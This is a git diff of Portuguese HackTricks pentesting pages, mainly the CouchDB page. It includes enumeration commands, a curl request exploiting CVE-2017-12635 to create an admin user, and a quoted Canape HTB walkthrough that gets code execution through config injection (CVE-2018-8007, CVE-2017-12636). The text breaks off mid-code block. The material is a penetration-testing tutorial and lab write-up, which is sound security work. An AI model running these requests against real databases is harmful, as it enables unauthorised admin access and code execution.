* Verifique se você pode acessar o painel de usuários e se pode **editar, excluir ou criar novos usuários,** funções ou chaves de API (Gerenciamento de pilha -> Usuários/Funções/Chaves de API) * Verificar se você pode acessar o painel de usuários e se pode **editar, excluir ou criar novos usuários,** papéis ou Chaves de API (Gerenciamento de Pilha -> Usuários/Papéis/Chaves de API)
* Verifique a versão atual em busca de vulnerabilidades (**Houve uma vulnerabilidade RCE em 2019 para versões do Kibana < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)]) * Verificar a versão atual para vulnerabilidades (**Havia uma vulnerabilidade de RCE em 2019 para versões do Kibana < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)])
## SSL/TLS Habilitado? ## SSL/TLS Habilitado?
Se o SSL/TLS não estiver habilitado, deve-se avaliar se informações sensíveis podem ser vazadas. Se SSL/TLS não estiver habilitado, deve-se avaliar se informações sensíveis podem ser expostas.
## Referências ## Referências

View file

@ -2,25 +2,23 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
## **Informações Básicas** ## **Informações Básicas**
CouchDB é um banco de dados orientado a documentos e em cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa. CouchDB é um banco de dados orientado a documentos e dentro de cada documento os campos são armazenados como mapas de chave-valor. Os campos podem ser um par chave/valor simples, lista ou mapa.
Cada documento armazenado no banco de dados recebe um identificador único de nível de documento (`_id`) e um número de revisão (`_rev`) para cada alteração que é feita e salva no banco de dados. Cada documento armazenado no banco de dados recebe um identificador único em nível de documento (`_id`) bem como um número de revisão (`_rev`) para cada alteração que é feita e salva no banco de dados.
**Porta padrão:** 5984(http), 6984(https) **Porta padrão:** 5984(http), 6984(https)
``` ```
@ -28,30 +26,6 @@ PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack 5984/tcp open unknown syn-ack
``` ```
## **Enumeração Automática** ## **Enumeração Automática**
### **Nmap**
O Nmap pode ser usado para identificar a porta padrão do CouchDB (5984) e verificar se o serviço está em execução.
```
nmap -p 5984 <target>
```
### **CouchDB API**
O CouchDB possui uma API REST que pode ser usada para obter informações sobre o banco de dados. A API pode ser acessada em `http://<target>:5984/_utils/`.
### **Fauxton**
O Fauxton é uma interface da web para o CouchDB que pode ser usada para visualizar e gerenciar bancos de dados. Ele pode ser acessado em `http://<target>:5984/_utils/`.
### **CouchDB User Enumeration**
O CouchDB permite que os usuários sejam criados com nomes de usuário e senhas. A enumeração de usuários pode ser realizada enviando uma solicitação GET para `http://<target>:5984/_users/_all_docs`. Isso retornará uma lista de todos os usuários do CouchDB.
### **CouchDB Database Enumeration**
A enumeração de bancos de dados pode ser realizada enviando uma solicitação GET para `http://<target>:5984/_all_dbs`. Isso retornará uma lista de todos os bancos de dados do CouchDB.
```bash ```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP> nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum msf> use auxiliary/scanner/couchdb/couchdb_enum
@ -62,13 +36,13 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
``` ```
curl http://IP:5984/ curl http://IP:5984/
``` ```
Isso emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes: Esta ação emite uma solicitação GET para a instância instalada do CouchDB. A resposta deve se parecer com uma das seguintes:
```bash ```bash
{"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
``` ```
{% hint style="info" %} {% hint style="info" %}
Note que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como: `{"error":"unauthorized","reason":"Authentication required."}` **você não poderá acessar** o banner ou qualquer outro endpoint. Observe que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com algo como: `{"error":"unauthorized","reason":"Authentication required."}` **você não será capaz de acessar** o banner ou qualquer outro endpoint.
{% endhint %} {% endhint %}
### Enumeração de Informações ### Enumeração de Informações
@ -76,21 +50,21 @@ Note que se ao acessar a raiz do couchdb você receber um `401 Unauthorized` com
Estes são os endpoints onde você pode acessar com uma requisição **GET** e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html). Estes são os endpoints onde você pode acessar com uma requisição **GET** e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo. * **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
* \*\*`/_all_dbs`\*\* Retorna uma lista de todos os bancos de dados na instância do CouchDB. * **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância do CouchDB.
* \*\*`/_cluster_setup`\*\* Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster. * **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
* **`/_db_updates`** Retorna uma lista de todos os eventos do banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint. * **`/_db_updates`** Retorna uma lista de todos os eventos de banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
* **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` exibe todos os nós que este nó conhece, incluindo aqueles que fazem parte do cluster. * **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` mostra todos os nós que este nó conhece, incluindo os que fazem parte do cluster.
* **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas. * **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações. * **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, ele retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino e outras informações.
* **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essas informações. * **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essa informação.
* **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todas as URLs de estatísticas, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local. * **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas para o servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todas as URLs de estatísticas, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
* **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível do sistema para o servidor em execução. Você pode usar \_\_`_local` como {node-name} para obter informações do nó atual. * **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações do nó atual.
* **`/_node/{node-name}/_restart`** * **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que o servidor está funcionando e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404. * **`/_up`** Confirma que o servidor está ativo, em funcionamento e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
* \*\*`/_uuids`\*\* Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB. * **`/_uuids`** Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB.
* \*\*`/_reshard`\*\* Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de resharding no cluster. * **`/_reshard`** Retorna uma contagem de trabalhos completados, falhados, em execução, parados e o total, junto com o estado do resharding no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) Mais informações interessantes podem ser extraídas conforme explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -98,13 +72,13 @@ Mais informações interessantes podem ser extraídas conforme explicado aqui: [
``` ```
curl -X GET http://IP:5984/_all_dbs curl -X GET http://IP:5984/_all_dbs
``` ```
Se a solicitação responder com um erro 401 não autorizado, então você precisa de credenciais válidas para acessar o banco de dados: Se essa solicitação **responder com um 401 não autorizado**, então você precisa de **credenciais válidas** para acessar o banco de dados:
``` ```
curl -X GET http://user:password@IP:5984/_all_dbs curl -X GET http://user:password@IP:5984/_all_dbs
``` ```
Para encontrar Credenciais válidas, você pode tentar realizar uma [força bruta no serviço](../generic-methodologies-and-resources/brute-force.md#couchdb). Para encontrar Credenciais válidas, você pode **tentar** [**forçar bruta do serviço**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este é um **exemplo** de resposta do couchdb quando você tem privilégios suficientes para listar bancos de dados (é apenas uma lista de bancos de dados): Este é um **exemplo** de uma **resposta** couchdb quando você tem **privilégios suficientes** para listar bancos de dados (É apenas uma lista de dbs):
```bash ```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
``` ```
@ -119,7 +93,7 @@ curl http://localhost:5984/simpsons
``` ```
### **Lista de Documentos** ### **Lista de Documentos**
Lista cada entrada dentro de um banco de dados. Listar cada entrada dentro de um banco de dados
```bash ```bash
curl -X GET http://IP:5984/{dbname}/_all_docs curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs curl http://localhost:5984/simpsons/_all_docs
@ -143,43 +117,43 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response: #Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
``` ```
## Escalação de Privilégios do CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) ## Escalação de Privilégios no CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Graças às diferenças entre os analisadores JSON do Erlang e do JavaScript, você pode **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação: Graças às diferenças entre os analisadores de JSON do Erlang e do JavaScript, você poderia **criar um usuário administrador** com as credenciais `hacktricks:hacktricks` com a seguinte solicitação:
```bash ```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
``` ```
[**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). [**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## RCE do CouchDB ## CouchDB RCE
### Cookie do Erlang ### Erlang Cookie
Na documentação do CouchDB, na seção de [configuração de cluster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), fala sobre as diferentes portas usadas pelo CouchDB: Nos documentos do CouchDB, na [seção de configuração de cluster](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), fala sobre as diferentes portas usadas pelo CouchDB:
> O CouchDB no modo cluster usa a porta `5984` assim como em modo standalone, mas também usa a porta `5986` para APIs locais do nó. > CouchDB em modo cluster usa a porta `5984` assim como em standalone, mas também usa `5986` para APIs locais de nó.
> >
> O Erlang usa a porta TCP `4369` (EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar nesta porta. Em um cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha. > Erlang usa a porta TCP `4369` (EPMD) para encontrar outros nós, então todos os servidores devem ser capazes de se comunicar entre si nesta porta. Em um Cluster Erlang, todos os nós estão conectados a todos os outros nós. Uma malha.
E então há um aviso interessante: E então há um aviso interessante:
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png) ![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
Se olharmos na lista de processos, podemos ver o cookie, "monster": Se olharmos na lista de processos, podemos ver o cookie, “monster”:
``` ```
www-data@canape:/$ ps aux | grep couchdb www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
``` ```
**Você pode ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE**.\ **Você pode**[ **ler esta seção para aprender como abusar dos cookies do Erlang para obter RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\
Além disso, você pode ler alguns **writeups da máquina Canape HTB** [como este](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver e **praticar** como **explorar essa vulnerabilidade**. Além disso, você pode ler alguns **relatórios de máquinas Canape HTB** [**como este**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) para ver e **praticar** como **explorar essa vulnerabilidade**.
### **CVE-2018-8007 bem-sucedido com permissões de gravação em local.ini** ### **CVE-2018-8007 bem-sucedido com permissões de escrita no local.ini**
Ao escrever este post, descobri que um novo CVE havia sido lançado para o CouchDB pela mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). Ele também requer gravações no arquivo `local.ini`, portanto, não é uma opção útil para Canape. Mas como já o tornamos gravável como root, vamos ver se podemos fazê-lo funcionar. Ao escrever este post, descobri que um novo CVE havia sido divulgado para o CouchDB pela mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). Ele também requer permissões de escrita no arquivo `local.ini`, então não é uma opção útil para o Canape. Mas, como já tornei o arquivo editável como root, vamos ver se conseguimos fazê-lo funcionar.
Comece com um `local.ini` limpo e agora gravável (e um backup): Comece com um `local.ini` limpo e agora editável (e um backup):
``` ```
root@canape:/home/homer/etc# ls -l root@canape:/home/homer/etc# ls -l
total 40 total 40
@ -188,11 +162,11 @@ total 40
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
``` ```
Podemos usar o curl para modificar as origens no arquivo `local.ini`. A vulnerabilidade aqui é que se usarmos o curl para colocar uma nova origem e, em seguida, novas linhas, podemos escrever coisas adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos aproveitar o campo `[os_daemons]` e adicionar um processo para o CouchDB tentar continuar executando: Podemos usar o curl para modificar as origens no arquivo `local.ini`. A vulnerabilidade aqui é que, se usarmos o curl para colocar uma nova origem e em seguida novas linhas, podemos escrever informações adicionais, incluindo um novo cabeçalho e detalhes. Então, vamos tirar vantagem do campo `[os_daemons]` e adicionar um processo para o CouchDB tentar manter em execução:
```bash ```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
``` ```
No shell raiz, podemos ver quais mudanças: No shell root, podemos ver o que muda:
``` ```
root@canape:/home/homer/etc# diff local.ini local.ini.bk root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118 119,124d118
@ -208,7 +182,7 @@ E ainda assim, o arquivo não está lá:
root@canape:/home/homer/etc# ls /tmp/0xdf root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory ls: cannot access '/tmp/0xdf': No such file or directory
``` ```
Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos o valor do cookie que usamos anteriormente, mas também `runsrv couchdb`: Se olharmos para os processos em execução com "couchdb" na linha de comando, veremos não apenas a linha de comando que nos fornece o valor do cookie que usamos anteriormente, mas também `runsrv couchdb`:
``` ```
root@canape:/home/homer/bin# ps aux | grep couch root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
@ -227,16 +201,16 @@ E, ao reiniciar, executa os OS\_Daemons:
root@canape:/home/homer/etc# ls /tmp/0xdf root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf /tmp/0xdf
``` ```
### **Tentativa bem-sucedida via CVE-2017-12636 com permissões de gravação em local.ini** ### **Tentativa bem-sucedida via CVE-2017-12636 com permissões de escrita local.ini**
CVE-2017-12636 permite a execução de código por meio do processo couchdb. No entanto, isso não funcionará nesta configuração. CVE-2017-12636 permite a execução de código através do processo couchdb. No entanto, não funcionará nesta configuração.
Existem alguns POCs disponíveis como referência: Existem alguns POCs disponíveis como referência:
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) * [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/) * [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
Precisamos escrever um novo query\_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para o couchdb 1.x, mas esta caixa está executando o 2, portanto, o caminho query\_servers da maioria dos POCs não existe. Isso mudou agora, mas seguiremos os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe: Precisaríamos escrever um novo query\_server e, em seguida, invocá-lo. Quando Canape foi lançado, a maioria dos POCs era para couchdb 1.x, mas esta caixa está executando a versão 2, então o caminho dos query\_servers da maioria dos POCs não existe. Isso mudou agora, mas vamos seguir os mesmos passos. Primeiro, obtenha a versão e mostre que o caminho 1.X não existe:
```bash ```bash
www-data@canape:/var/www/git$ curl http://localhost:5984 www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
@ -252,22 +226,22 @@ www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"} {"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
``` ```
A partir daí, devemos adicionar um query\_server e depois invocá-lo, mas não conseguimos. A partir daí, devemos adicionar um query\_server e então invocá-lo, mas não somos capazes.
```bash ```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159} {"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
``` ```
Algumas pesquisas mostram que este é um problema de permissões. Na verdade, se verificarmos com o nosso shell root, podemos ver que o arquivo `local.ini` não é gravável por ninguém, muito menos www-data: Algumas pesquisas no Google mostram que isso é um problema de permissões. De fato, se verificarmos com nosso shell root, podemos ver que o arquivo `local.ini` não é gravável por ninguém, muito menos por www-data:
``` ```
root@canape:/home/home/etc# ls -ls local.ini root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini 8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
``` ```
Então, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por este caminho. Faremos um backup do original para que possamos ver quais mudanças foram feitas: Portanto, isso é um beco sem saída para o Canape. Mas se quisermos tentar fazê-lo funcionar, podemos torná-lo legível com nosso acesso root ou homer e continuar por esse caminho. Faremos um backup do original para podermos ver as mudanças:
``` ```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini root@canape:/# chmod 666 /home/homer/etc/local.ini
``` ```
Agora, voltando para nossa shell www-data: Agora, voltando ao nosso shell www-data:
```bash ```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
"" ""
@ -277,7 +251,7 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couch
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
"" ""
``` ```
Obtemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell raiz, podemos ver que funcionou: Recebemos de volta o valor anterior para o servidor de consulta cmd, o que significa sucesso. E no shell root, podemos ver que funcionou:
``` ```
root@canape:/home/homer/etc# diff local.ini local.ini.bk root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48 48c48
@ -285,9 +259,9 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
--- ---
> cmd = > cmd =
``` ```
Agora, deveríamos ser capazes de criar um banco de dados, e então um documento nesse banco de dados, e solicitar com uma visualização que mapeia nosso query\_server para obter a execução. Agora, devemos ser capazes de criar um db e, em seguida, um documento nesse db, e então solicitá-lo com uma view que mapeia nosso query_server para obter execução.
Criar banco de dados e documento: Criar db e documento:
```bash ```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] ["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
@ -311,10 +285,31 @@ www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} {"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
``` ```
Solicite-o em uma visualização: Solicite-o em uma view:
```bash ```bash
